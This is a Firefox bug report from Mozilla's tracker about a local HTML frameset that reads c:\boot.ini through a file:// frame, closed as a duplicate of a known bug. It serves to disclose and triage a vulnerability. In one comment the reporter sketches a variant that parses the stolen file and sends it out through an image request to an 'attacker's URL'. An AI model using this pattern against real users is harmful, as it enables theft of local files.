Closed
Bug 382637
Opened 18 years ago
Closed 18 years ago
Security flaw: attacker may read a file content
Categories
(Firefox :: Security, defect)
Tracking
()
RESOLVED
DUPLICATE
of bug 230606
People
(Reporter: tyter9, Unassigned)
Details
Attachments
(1 file)
|
317 bytes,
text/html
|
Details |
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; pl; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.0; pl; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
For the following HTML code:
<html>
<head>
<title>Exploit</title>
<script>
function fun() {
var data = top.frames['name2'].document.body.textContent;
alert(data);
}
</script>
</head>
<frameset onload="fun()">
<frame src="frame.html" name="name1"/>
<frame src="file://c:/boot.ini" name="name2"/>
</frameset>
</html>
We can see the content of the c:\boot.ini file. It's a bug in my
opinion. fun() function would to send essential data of any
file to an attacker host. There is a limit to exploit this issue:
A malicious HTML file must be stored on local disk.
Reproducible: Always
Steps to Reproduce:
1.
2.
3.
|
||
Comment 1•18 years ago
|
||
|
|
||
Comment 2•18 years ago
|
||
what is frame.html and does it need to exist for the testcase to work?
|
||
Comment 3•18 years ago
|
||
Assuming frame.html isn't important, I can't reproduce this with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4pre) Gecko/20070521 BonEcho/2.0.0.4pre. I get:
Security Error: Content at https://bugzilla.mozilla.org/attachment.cgi?id=266778 may not load or link to file:///c:/boot.ini.
Are you sure you weren't testing from a local file? Local files are allowed to link to other local files.
|
||
Comment 4•18 years ago
|
||
> Local files are allowed to link to other local files.
That's bug 230606 ;)
|
Reporter | |
Comment 5•18 years ago
|
||
So, is it a normal browser behaviour?
What if I get some like this? (in zipped file):
attach.zip:
index.html:
<html>
<head>
<title>Exploit</title>
<script>
function fun() {
var data = top.frames['name2'].document.body.textContent;
var essence = ...parsing 'data' for an essential information
var img = new Image();
img.src = "attacker's URL" + essence;
}
</script>
</head>
<frameset onload="fun()">
<frame src="frame.html" name="name1"/>
<frame src="file://path_to_file" name="name2"/>
</frameset>
</html>
frame.html:
<html>
page content...
</html>
|
|
||
Comment 6•18 years ago
|
||
(In reply to comment #5)
> So, is it a normal browser behaviour?
Depends on where you're running the testcase. If you're doing it from your hard drive (i.e. from a file:// URL), then that is the expected behavior with current builds, yes. If you're running it from the web (e.g. from an http:// URL) then no, that is a privacy issue. Which one is it?
|
|
Reporter | |
Comment 7•18 years ago
|
||
> Depends on where you're running the testcase.
I understand limits to exploit this issue. It seems that opening locally stored html files may be dangerous...
|
|
||
Comment 8•18 years ago
|
||
Dariusz, do you agree that this is a dup of bug 230606?
|
|
Reporter | |
Comment 9•18 years ago
|
||
> Dariusz, do you agree that this is a dup of bug 230606?
Yes, I do. But why does this feature still exist in 2.0.0.4 version?
|
|
||
Updated•18 years ago
|
Group: security
Status: UNCONFIRMED → RESOLVED
Closed: 18 years ago
Resolution: --- → DUPLICATE
You need to log in
before you can comment on or make changes to this bug.
Description
•